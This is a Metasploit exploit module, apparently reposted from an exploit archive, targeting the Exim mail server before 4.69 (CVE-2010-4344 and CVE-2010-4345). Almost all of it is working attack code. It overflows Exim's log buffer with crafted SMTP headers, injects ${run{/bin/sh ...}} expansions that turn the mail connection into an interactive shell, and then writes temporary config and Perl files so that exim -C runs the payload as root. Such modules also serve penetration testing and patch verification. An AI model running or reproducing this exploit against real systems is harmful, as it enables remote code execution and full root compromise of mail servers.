Exim4 < 4.69 - string_format Function Heap Buffer Overflow (Metasploit)
## # $Id: exim4_string_format.rb 11352 2010-12-16 17:30:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Smtp def initialize(info = {}) super(update_info(info, 'Name' => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow', 'Description' => %q{ This module exploits a heap buffer overflow within versions of Exim prior to version 4.69. By sending a specially crafted message, an attacker can corrupt the heap and execute arbitrary code with the privileges of the Exim daemon. The root cause is that no check is made to ensure that the buffer is not full prior to handling '%s' format specifiers within the 'string_vformat' function. In order to trigger this issue, we get our message rejected by sending a message that is too large. This will call into log_write to log rejection headers (which is a default configuration setting). After filling the buffer, a long header string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL FROM' command. By sending a second message, the string we sent will be evaluated with 'expand_string' and arbitrary shell commands can be executed. It is likely that this issue could also be exploited using other techniques such as targeting in-band heap management structures, or perhaps even function pointers stored in the heap. However, these techniques would likely be far more platform specific, more complicated, and less reliable. This bug was original found and reported in December 2008, but was not properly handled as a security issue. Therefore, there was a 2 year lag time between when the issue was fixed and when it was discovered being exploited in the wild. At that point, the issue was assigned a CVE and began being addressed by downstream vendors. An additional vulnerability, CVE-2010-4345, was also used in the attack that led to the discovery of danger of this bug. This bug allows a local user to gain root privileges from the Exim user account. If the Perl interpreter is found on the remote system, this module will automatically exploit the secondary bug as well to get root. }, 'Author' => [ 'jduck', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11352 $', 'References' => [ [ 'CVE', '2010-4344' ], [ 'OSVDB', '69685' ], [ 'BID', '45308' ], [ 'CVE', '2010-4345' ], #[ 'OSVDB', '' ], [ 'BID', '45341' ], [ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ], [ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ], [ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ], [ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 8192, # much more in reality, but w/e 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', { } ], ], # Originally discovered/reported Dec 2 2008 'DisclosureDate' => 'Dec 7 2010', # as an actual security bug 'DefaultTarget' => 0)) register_options( [ OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']), OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']), OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ]) ], self.class) register_advanced_options( [ OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]), OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]), OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false]) ], self.class) end def exploit # # Connect and grab the banner # ehlo = datastore['EHLO_NAME'] ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com" print_status("Connecting to #{rhost}:#{rport} ...") connect print_status("Server: #{self.banner.strip}") if self.banner !~ /Exim / raise RuntimeError, "The target server is not running Exim!" end if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i raise RuntimeError, "Warning: This version of Exim is not exploitable" end ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") ehlo_resp.each_line do |line| print_status("EHLO: #{line.strip}") end # # Determine the maximum message size # max_msg = 52428800 if ehlo_resp.to_s =~ /250-SIZE (\d+)/ max_msg = $1.to_i end # # Determine what hostname the server sees # saddr = nil revdns = nil if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/ revdns = $1 saddr = $2 end source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4') print_status("Determined our hostname is #{revdns} and IP address is #{source}") # # Initiate the message # from = datastore['MAILFROM'] to = datastore['MAILTO'] resp = raw_send_recv("MAIL FROM: #{from}\r\n") resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' raise RuntimeError, msg else print_status(msg) end resp = raw_send_recv("RCPT TO: #{to}\r\n") resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' raise RuntimeError, msg else print_status(msg) end resp = raw_send_recv("DATA\r\n") resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' raise RuntimeError, msg else print_status(msg) end # # Calculate the headers # msg_len = max_msg + (1024*256) # just for good measure log_buffer_size = 8192 host_part = "H=" host_part << revdns << " " if revdns != ehlo host_part << "(#{ehlo})" # The initial headers will fill up the 'log_buffer' variable in 'log_write' function print_status("Constructing initial headers ...") log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: " log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n" log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n" # We want 2 bytes left, so we subtract from log_buffer_size here log_buffer_size -= 3 # account for the nul termination too # Now, " " + hdrline for each header hdrs = [] while log_buffer.length < log_buffer_size header_name = rand_text_alpha(10).capitalize filler = rand_text_alphanumeric(8 * 16) hdr = "#{header_name}: #{filler}\n" one = (2 + hdr.length) two = 2 * one left = log_buffer_size - log_buffer.length if left < two and left > one left -= 4 # the two double spaces first = left / 2 hdr = hdr.slice(0, first - 1) + "\n" hdrs << hdr log_buffer << " " << hdr second = left - first header_name = rand_text_alpha(10).capitalize filler = rand_text_alphanumeric(8 * 16) hdr = "#{header_name}: #{filler}\n" hdr = hdr.slice(0, second - 1) + "\n" end hdrs << hdr log_buffer << " " << hdr end hdrs1 = hdrs.join # This header will smash various heap stuff, hopefully including the ACL header_name = Rex::Text.rand_text_alpha(7).capitalize print_status("Constructing HeaderX ...") hdrx = "#{header_name}: " 1.upto(50) { |a| 3.upto(12) { |b| hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " } } # In order to trigger the overflow, we must get our message rejected. # To do so, we send a message that is larger than the maximum. print_status("Constructing body ...") body = '' fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384 while(body.length < msg_len) body << fill end body = body[0, msg_len] print_status("Sending #{msg_len / (1024*1024)} megabytes of data...") sock.put hdrs1 sock.put hdrx sock.put "\r\n" sock.put body print_status("Ending first message.") buf = raw_send_recv("\r\n.\r\n") # Should be: "552 Message size exceeds maximum permitted\r\n" print_status("Result: #{buf.inspect}") if buf print_status("Sending second message ...") buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n") # Should be: "sh-x.x$ " !! print_status("MAIL result: #{buf.inspect}") if buf buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n") # Should be: "sh: RCPT: command not found\n" if buf print_status("RCPT result: #{buf.inspect}") if buf !~ /RCPT/ raise RuntimeError, 'Something went wrong, perhaps this host is patched?' end end # Clear pending output from the socket sock.get_once(-1, 1.0) sock.put("source /etc/profile >/dev/null 2>&1\n") sock.get_once(-1, 2.0) resp = '' if not datastore['SkipEscalation'] print_status("Looking for Perl to facilitate escalation...") # Check for Perl as a way to escalate our payload sock.put("perl -V\n") select(nil, nil, nil, 3.0) resp = sock.get_once(-1, 10.0) end if resp !~ /Summary of my perl/ print_status("Should have a shell now, sending payload...") buf = raw_send_recv("\n" + payload.encoded + "\n\n") if buf if buf =~ /554 SMTP synchronization error/ print_error("This target may be patched: #{buf.strip}") else print_status("Payload result: #{buf.inspect}") end end else print_status("Perl binary detected, attempt to escalate...") token = Rex::Text.rand_text_alpha(8) # Flush the output from the shell sock.get_once(-1, 0.1) # Find the perl interpreter path sock.put("which perl;echo #{token}\n") buff = "" cnt = while not buff.index(token) res = sock.get_once(-1, 0.25) buff << res if res end perl_path = buff.gsub(token, "").gsub(/\/perl.*/, "/perl").strip print_status("Using Perl interpreter at #{perl_path}...") temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8) temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8) temp_eof = Rex::Text.rand_text_alpha(8) print_status("Creating temporary files #{temp_conf} and #{temp_perl}...") data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0] sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n") data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0] sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n") print_status("Attempting to execute payload as root...") sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n") end # Give some time for the payload to be consumed select(nil, nil, nil, 4) handler disconnect end end |